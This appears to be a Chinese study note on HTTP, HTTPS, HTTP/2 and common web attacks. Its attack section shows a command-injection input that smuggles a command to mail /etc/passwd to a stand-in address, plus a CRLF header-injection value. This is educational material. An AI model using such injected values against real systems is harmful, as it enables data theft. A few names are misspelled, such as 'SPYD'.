HTTP
HTTP概述
HTTP协议规定,一定是客户端开始建立通信的,也就是说请求一定是从客户端发出,服务器端响应请求,服务器端在没有接收到请求的时候是不会有响应的。
HTTP的请求报文由以下几部分构成:
方法 URI 协议版本
POST /form/entry HTTP/1.1
请求首部字段
Host :baidu.com
Connection:keep-alive
Content-Type:application/......
Content-Length:16
请求实体
name=asdf&age=32
HTTP的响应报文则由以下几部分构成:
服务器端协议版本 状态码 状态码描述
HTTP/1.1 200 OK
响应首部字段
Date:Tue, 10 Jul 2010 06:50:15 GMT
Content-Length:2134
Content_Type: text/html
主体
<'html'>...............
HTTP是无状态协议,即每次有新的请求就会产生新的响应
HTTP1.1中所有的连接默认都是持久连接,即只要任意一端没有提出断开连接,则保持TCP连接状态。这样所有的HTTP请求就可以在一个TCP连接中同时发送,不必每次都要等待上一个TCP的回应了。
HTTP中的方法
- GET 用来请求访问已经被URI识别的资源,指定的资源经过服务器解析后返回响应的内容。GET方法是默认的HTTP请求方法,然而用GET方法提交的表单数据只经过了简单的编码,同时它将作为URL的一部分向Web服务器发送,因此,如果使用GET方法来提交表单数据就存在着安全隐患,同时提交的数据量不能太大。
- HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
- POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
- PUT 从客户端向服务器传送的数据取代指定的文档的内容。
- DELETE 请求服务器删除指定的页面。
- CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。格式为:CONNECT 代理服务器名 :端口号 HTTP版本在代理服务器响应请求后即进入网络隧道。
- OPTIONS 允许客户端查看服务器支持哪些请求方法。
- TRACE 回显服务器收到的请求,主要用于测试或诊断。请求可能会到达多个服务器。这个TRACE请求就会在到达每一个服务器时发回本服务器收到的请求。
HTTP状态码
状态码的第一位代表状态码的类别,这个是强制标准。后两位有一些有约定俗称的规定最好遵守,剩下的服务器自己创建自己要用的状态码都没有问题。
- 2XX 成功:代表服务器接收到的请求已经成功处理。204:无可返回内容;206:接受到对资源一部分内容的请求。
- 3XX 重定向:代表浏览器的请求需要做一些调整。301:永久性重定向,表示现在所请求的资源已经永久的被分配到新的URI;302:临时性重定向;303:当前请求的资源存在着另外一个URI,希望浏览器以GET方法重定向到另一个URI上;304:当客户端发送附带条件的请求时,服务器端资源已经找到,但是并不符合条件(比如请求某一时间后更新的页面,但是服务器在这个时间点后并没有更新过页面,那么返回304,浏览器就可以使用自己的缓存了);307:和302差不多;
- 4XX 客户端错误:代表是客户端的请求出现了问题。401:表示访问需认证;403:表示访问被拒绝;404:没有这个资源。
- 5XX 服务器端错误。500:内部错误,服务器内有bug或者什么临时故障;503:超载或正在维护。
为HTTP服务的那些Web服务器
http服务器可以搭建多个Web站点,每一个Web站点对应一个虚拟主机,这些站点可以有不同的域名。当DNS解析这些域名的时候,都会指向同一个服务器的IP,服务器通过HTTP请求中的Host首部中的完整域名来把请求发送到不同的虚拟主机。
与之配合的还有代理,网关,隧道,缓存服务器等。
HTTP首部字段
在HTTP报文中首部字段是很重要的,给客户端和服务器提供了传输和处理数据的重要信息。在HTTP请求报文中有:请求行(方法、URI、HTTP版本)、请求首部字段、通用首部字段、实体首部字段。在HTTP响应报文中有:状态行(HTTP版本、状态码)、响应首部字段、通用首部字段、实体首部字段。
端到端首部和逐跳首部
端到端首部会转发给请求或响应的最终接收目标,逐跳首部则在单次转发中有效。
各首部字段的详细描述
上面的链接供大家参考
详细记录一下有关cookie的首部字段,在服务器准备开始管理客户端状态的时候,就会发送set-cookie字段给客户端。set-cookie有这么几个属性:
- NAME:赋予cookie的名称和其值。这是set-cookie里唯一一个必须要有的项
- expires:cookie的有效期,如果不指定就默认只在这一个浏览器回话内有效,也就是在浏览器被关闭之前
- path:这个属性用来限制cookie发送到服务器上的哪个目录,比如path=/foo,那么在访问www.XXXX.com/foo的时候cookie会被发送
- domain:指定cookie被发送到哪台计算机上。正常情况下,cookie只被送回最初向用户发送cookie 的计算机。如果你设置了domain,cookie 会被发送到任何在这个域中的主机。如果domain 被设为空,domain 就被设置为和提供cookie 的Web 服务器相同。如果domain不为空,并且它的值又和提供cookie的Web服务器域名不符,这个Cookie将被忽略。
- secure:这个属性被设置意味着cookie只能通过https发送
- HttpOnly:这个属性使javascript无法获得Cookie,从而防止XSS跨站脚本攻击对Cookie的获取。
客户端在访问网站时如果发现符合已经收到的set-cookie里的要求的url,就会把收到的cookie发送回去
HTTPS
HTTP存在的问题
使用明文进行通信,内容会被窃听
在现有的网络架构下,人们可以从互联网的任何一个节点获取到流经这个节点的HTTP请求。内容如果是不加密的,那就意味着你的信息并不安全。解决办法就是使用内容加密。现在使用的最广泛的就是SSL加TLS。
不验证通信方的身份,可能遭遇伪装
任何人都可以发出请求,任何人都可以拦截请求发出响应。对此的办法就是使用第三方颁发的证书来验证服务器和客户端的身份。
无法验证报文的完整性,有可能在发送的过程中已经遭到篡改
仅靠HTTP协议来保证报文的完整性是不现实的,需要和其他协议共同工作。
HTTPS=HTTP+加密+认证+完整性保护
SSL
SSL为HTTP提供了以上所有问题的解决方案。
以前数据通过HTTP->TCP->IP的处理,现在则多了一层HTTP->SSL->TCP->IP。
SSL并非是HTTP独占,在很多其他的网络应用中同样可以使用。
共享密钥和公开密钥
共享密钥是通过相同的密钥来对数据进行加密和解密,这就涉及到一个密钥传输的问题,如果使用相同的密钥进行加密解密,就势必意味着密钥要在加密和解密的双方进行传递。那么如果我可以安全的进行密钥的传输,我就也能安全的传输数据,就不需要加密了。反之,加密也没用。
于是就有人开发出了公开密钥加密体系。在这个体系中,加密使用的密钥是公开的,使用公钥进行加密后,使用不公开的私钥进行解密。这样一来,信息的接收方把公钥发布在网上而私钥自己持有,信息的发送方使用公钥进行数据的加密并发送,接收方使用自己的私钥进行解密。就解决了这个问题。
不过这样的机制存在两个问题,一个是公钥的合法性。我们不知道这个公钥是不是真正的信息接收方发送的真正的密钥。二是如果每次通信都使用这样的方法进行加密开销很大。
对于第二个问题HTTPS的解决办法是使用公开密钥传送共享密钥,以后双方的通信使用共享密钥加密。
第一个问题就是使用证书了。
公开密钥证书
公开密钥证书是由可信赖的第三方权威机构颁发的。服务器运营的公司会向这些机构申请公钥证书,申请下来的证书包括这个公钥和认证机构使用自己的私钥制作的数字签名。在客户端收到这个公钥证书的时候,就使用权威机构的公钥来解密这个证书,解密成功了就认为这个公钥是可信的。这就又有一个问题,这个权威机构的公钥怎么传输,解决办法就是将各常用认证机构的证书事先放在浏览器中。
当然为了确认客户端的身份也有客户端证书,帮助服务器端来确认这个客户端始终是这个客户端。因为费用和便利性等问题,这个证书只用在安全性较高的应用中,比如网银。
Message Authentication Code
这是在整个HTTPS会话中,应用层在发送报文时为报文加上的报文摘要。简称MAC,MAC能够查知报文是否被遭到篡改,从而保护报文的完整性。
HTTPS通信步骤
- 客户端通过发送Client Hello报文来开始SSL通信,报文中包含客户端支持的SSL版本,一个客户端生成的随机数(Client random),加密组件(算法及密钥长度等)。
- 服务器可进行SSL通信时,发送Server Hello报文作为应答,在报文中发送服务器端的SSL版本和经过筛选的加密组件以及一个服务器生成的随机数(Server random)。
- 服务器发送Certificate报文,包含公钥。
- 服务器发送Server Hello Done,SSL最初握手协商部分结束。
- 客户端收到公钥证书,验证成功后取出公钥,使用公钥对自己刚生成的pre-master secret随机密码串进行加密,并放在Client Key Exchange报文中发送给服务器端。
- 客户端发送Change Cipher Spec报文,提示服务器以后所有的报文都通过pre-master secret随机密码串进行加密。
- 客户端发送Finished报文,包含之前所有报文的整体校验值,服务器必须正确解密这个报文,握手才成功。
- 服务器也会发送Change Cipher Spec,Finished报文。
- 双方的Finished报文交换完毕后,握手成功,客户端和服务器使用以上三个随机数生成接下来所有SSL通信使用的session key。
身份认证方式
这是服务器端认证客户端的方式。
BASIC认证
这个认证就是在收到服务器返回的401需要授权状态码的时候将用户输入的ID和密码用Base64方式编码后发送给服务器。这种编码方式基本就是明文,很不安全。
DIGEST认证
这种认证办法就稍微安全一些,在服务器收到客户端的请求后,随401返回一个临时质询码。客户端根据这个临时质询码,用户的密码及相应的算法生成响应码发回给服务器端。相对来说安全了一些,不过只是防止了密码被窃听。并不能防止用户伪装。也就是说,如果用户的用户名和密码被盗,就没有办法阻止第三方冒充。
SSL认证
这里说的是SSL客户端认证。首先需要将客户端证书分发给客户且客户端安装了这个证书。通信时服务器会以Certificate Request报文要求客户端提供客户端证书,用户选择发送后就会把证书以Client Certificate报文方式发送给服务器,服务器确认证书无误后领取证书中的公钥开始HTTPS通信。
一般SSL认证都采取密码加证书的方式来验证。也就是验证规定的人在规定的客户端登录。
基于表单的认证及Session管理
由于BASIC与DIGEST并不安全,SSL又有较高的购买证书的成本。所以大多数的Web应用都使用基于表单的认证。
客户端将用户填的表单放在报文的实体部分,通常以POST请求发送给服务器。当然这里的数据交换是使用HTTPS的。
服务器端验证客户端发来的登录信息,然后把用户的认证状态和SessionID绑定后纪录在服务器端,向客户端返回响应时将SessionID放在Set-Cookie中返回。SessionID必须妥善传输与保存,别人拿到了SessionID就相当于拿到了你的通行证。保证SessionID安全的措施有:SessionID有有效期;SessionID生成的时候很复杂;使用HTTPS传送;在Cookie上加入httponly属性防止JS获取Cookie防止XSS。
客户端拿到SessionID后会存下,下次向这个服务器发送请求时会带上这个SessionID。
关于服务器端密码的保存
服务器保存客户的密码通常先给密码加盐,在用hash函数计算出散列值之后保存。加盐就是随机生成一个足够长的字符串,与密码串进行拼接。这样就算两个人或同一个人在不同网站的密码相同,加盐后也不同了。
基于HTTP的功能增加协议们
HTTP的瓶颈
- 一条链接上只能发送一个请求
- 请求只能从客户端开始,客户端只能接收响应
- 首部冗长,重复,非强制压缩
Ajax
Ajax的核心就是使用JS语句调用XMLHttpRequest的API直接与服务器进行HTTP通信。这样就能从加载完毕的页面向服务器发起请求,只更新局部页面。但是这并没有解决HTTP本身的问题,每一次Ajax请求依旧存在着上述问题。
Comet
客户端向服务器发送确认是否有更新内容的请求,服务器不会进行立即的响应,而是等着内容真的有更新的时候将响应发回,理论上做到了实时更新内容,但是为了保留响应,一次连接的时间变长了,期间为了维持连接也消耗了更多的资源。仍未解决HTTP的根本问题。
SPDY
HTTP的根本性改善一定是在协议层面上的。Google提出来SPYD。SPYD并未完全改写HTTP只是在HTTP(应用层)和SSL(表示层)之间加了SPYD(会话层)。SPYD提供了以下几个功能:
- 多路复用:通过单一的TCP连接可以并发处理无限制个HTTP请求
- 赋予请求优先级:给请求逐个分配优先级
- 压缩HTTP首部:减少通信字节
- 推送功能:支持服务器主动向客户端推送数据,不必等待客户端请求
- 服务器提示功能:服务器可以主动提示客户端请求某些资源,并提前缓存资源
WebSocket
WebSocket是一套新的协议及API。实现Web服务器与Web浏览器的全双工通信。一旦服务器与客户端之间建立起来WebSocket的连接,之后所有的通信都通过这个专用协议进行。可以互相发送JSON,XML,HTML或图片等任意格式的数据。WebSocket是建立在HTTP基础上的协议,所以连接的发起方仍然是客户端。一旦确立WebSocket连接,任意一方都可以直接向对方发送报文。
为了实现WebSocket通信,需要在客户端发送请求时在HTTP的Upgrade字段写上协议的变化:
Upgrade: web socket
Sec-WebSocket-Key:odhfiwfiqugwefhnwloihbi==
Sec-WebSocket-Protocol:chat,superchat
Sec-WebSocket-Version: 13
服务器收到这样的请求时返回101协议改变状态码,以及相应字段的值。
这样就算握手成功了,之后通信采用WebSocket独立的数据帧。
JS可以调用WebSocket API
var socket = new WebSocket('ws://game.example.com:12010/updates');
socket.onopen = function(){
socket.send(getUpdateData());
};
HTTP/2.0
HTTP/2.0主要围绕7项技术来进行讨论。以三个协议为基础:SPYD、HTTP Speed+Mobility和Network-Friendly HTTP Upgrade。
- 压缩:SPYD、Network-Friendly HTTP Upgrade
- 多路复用:SPYD
- TLS义务化:HTTP Speed+Mobility
- 协商:HTTP Speed+Mobility、Network-Friendly HTTP Upgrade
- Client Pull/Server Push:HTTP Speed+Mobility
- 流量控制:SPYD
- WebSocket:HTTP Speed+Mobility
在HTTP/2.0中,并不会改变现有的HTTP 语义,HTTP 方法、状态码、URI 及首部字段。主要将改变聚焦在性能的提高上:改进传输性能,实现低延迟和高吞吐量。对于应用的开发者来说这是好事,意味着并不用修改很多就可以用上性能更高的新一代协议。
二进制分帧
2.0最核心的性能增强在二进制分帧,它将所有传输的信息分割为更小的消息和帧并采用二进制格式的编码,其中1.0中国的首部会被封装到Headers帧,请求和响应实体会被封装到data帧。所有通信在一个连接上完成,这个链接可以承载任意数量的双向数据流,每个数据流以消息的形式发送,消息由一个或多个帧组成,帧可以乱序发送,最后根据每个帧首部的标识符重新组装。这就意味着每个二进制帧都要有头部信息,否则最后无法组装。那么首部就需要压缩优化,否则。。。。。
首部压缩
在2.0中,服务器和客户端同时使用首部表来维护首部的键值对,每次通信只发送与上次首部中内容不一样的部分,所以像是用户代理等等几乎不会发生变化的首部内容只发送一次,这也就意味着有时首部的开销是0哦。
一个连接处理所有请求
比如你请求一个页面,这个页面上所有的HTTP请求都是在这一个TCP连接中完成的。
还记得合并文件和Sprite合图嘛,就是把小js和css文件合在一个文件里,各种小图合在一个Sprite图里,以减少HTTP请求。这个在HTTP/2.0里再也不用管啦~
TCP在长时间传输大块数据时效率比较高,然而HTTP的特点是突发,数据量小。这时为每个HTTP通信建立一个TCP连接显然就不划算了,要有效的使用TCP连接,就将HTTP通信放在一个连接里咯。这样做就使上面这类资源合并减少请求的优化手段显得没有必要了。
并行双向字节流的请求和响应
在HTTP/2.0上,客户端和服务器可以把HTTP消息分解为互不依赖的帧,然后乱序发送,最后再在另一端把它们重新组合起来。这也就意味着:可以并行交错地发送请求,请求之间互不影响。可以并行交错地发送响应,响应之间互不干扰。只使用一个连接即可并行发送多个请求和响应。消除不必要的延迟,从而减少页面加载的时间。
请求优先级
在乱序发送请求和响应的过程中,有时你想要优先收到某些响应,比如先收HTML文件再收img,这时你就可以将HTML的优先值设高一点。但这个优先并不是绝对的,只是会在有条件的情况下优先,否则就又成了顺序请求从而造成阻塞了。
服务器推送
HTTP/2.0中服务器可以对一个客户端请求发送多个响应,这也就意味着服务器可以额外像客户端推送资源。
Web的攻击技术
输出值转义不完全
跨站脚本攻击
说白了就是通过在访问有漏洞的网站的用户的浏览器中运行非法的HTML标签或者JS代码。通常通过用户输入或URL请求动态创建的HTML页面容易出现这个漏洞。攻击者可以诱骗用户发送含有恶意代码的URL,在用户得到返回的HTML时,恶意代码也就运行了。
SQL注入攻击
和上面的原理差不多,有的网站将URL的参数作为查询条件等直接写入SQL语句。这样通过巧妙的拼凑可能会使服务器执行不应执行的操作。
OS命令注入攻击
有的Web应用是可以通过调用Shell命令来执行操作系统命令的。这时如果不注意的话,有可能会被强行植入恶意OS命令。
比如一个邮件应用,执行这个命令:
open(MAIL,"| /usr/sbine/sendmail $adr")//其中$adr是用户输入的邮件地址
攻击者如果输入这么一段地址:
; cat /etc/passwd | mail hack@example.com
而服务器端并没有验证这是否是一个有效的Email地址就直接执行时,这个命令就变成了这样:
| /usr/sbine/sendmail ; cat /etc/passwd | mail hack@example.com
含有账户信息的/etc/passwd就被发到指定文件夹了。
HTTP首部注入攻击
顾名思义就是修改HTTP首部的攻击。原理也很简单,利用有些Web应用会使用URL参数或用户输入来生成HTTP首部的某些字段,攻击者在这些值后面加上“%0D%0A”也就是换行符,再跟上恶意头部键值对,比如"Set-Cookie:+SID=134",那么首部就被插入了一个意外值。在这里,用户的Cookie被设置为了攻击者想设置的值,为会话固定攻击打下了基础。
HTTP响应截断
刚才是插入一个换行符,如果插入两个,就可以伪造响应主体部分了。
邮件首部注入攻击
如果在邮件地址栏填入asdfasdf@asd.com%0D%0AText Message,就把邮件内容改为了Text Message。和HTTP首部注入一个原理。利用换行符代表分隔符这个特性。
目录遍历攻击
有些时候Web应用通过用户指定的目录来访问资源,这里一不注意就可能被发现可以使用../等操作符访问到不想开放的目录上。
远程文件包含漏洞
这是老版本PHP的漏洞,原理就是使用PHP的include可以包含跨域的文件这个特性,将恶意代码包含进来。
设置或设计上的缺陷
强制浏览
这个就是说有一些资源是通过认证的用户才可以浏览的,比如一片私人的博客,但是里面的图片,如果你能得到它的URL,直接访问这个URL就能访问到这张本来是需要授权才能看的图片。
不正确的错误消息处理
有些报错是不需要对用户显示的,比如数据库语句错误,服务器错误等。对用户没用,但有心人 可能会以此推断出潜在的漏洞。
开放重定向
网站如果开放重定向功能就意味着可以跳转到任意指定的URL。这就可能被利用跳转到恶意网站。
会话管理疏忽
会话劫持
通过XSS等攻击从用户的Cookie里盗取会话ID,利用此会话ID伪装成用户。
会话固定攻击
强制用户使用攻击者指定的会话ID。首先攻击者访问服务器拿到一个会话ID,此时这个ID还没有认证,将这个会话ID强制给用户A(HTTP头部注入攻击之前提到过),用户A在不知情的情况下使用这个ID到服务器认证,用户A和这个ID绑定了,之后攻击者就可以使用这个ID来冒充用户A了。
跨站点请求伪造
攻击者通过以设置好的陷阱,强制对已完成的用户进行非预期的操作。比如通过已经认证的用户登录他的帐号发评论等等。被攻击的用户拥有合法的会话ID,攻击者通过篡改用户的HTTP请求,利用用户的合法ID做出操作。
其它
密码破解
试错:穷举法,字典攻击;
对已加密密码的破解:
已加密的意思是攻击者获取到了直接算了散列的密码或加盐散列的密码。
通过穷举,字典来算散列对照;
彩虹表直接对照
拿到密钥
加密算法漏洞
点击劫持
利用透明页面,诱使用户点击看不到的按钮
DoS攻击
大量合法请求使服务器停止服务,多台计算机发起的就是DDoS
后门程序
啊哦